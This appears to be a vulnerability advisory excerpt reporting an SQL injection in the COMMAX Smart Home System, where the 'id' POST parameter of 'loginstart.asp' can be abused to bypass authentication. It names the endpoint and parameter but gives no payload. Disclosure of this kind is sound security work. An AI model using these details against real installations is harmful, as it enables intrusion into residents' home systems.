Summary: COMMAX Smart Home System is a smart IoT home solution for a large apartment
|
|
complex that provides advanced life values and safety.
|
|
|
|
Desc: The application suffers from an SQL Injection vulnerability. Input passed
|
|
through the 'id' POST parameter in 'loginstart.asp' is not properly sanitised
|

before being returned to the user or used in SQL queries. This can be exploited
|
|
to manipulate SQL queries by injecting arbitrary SQL code and bypass the authentication
|
|
mechanism.
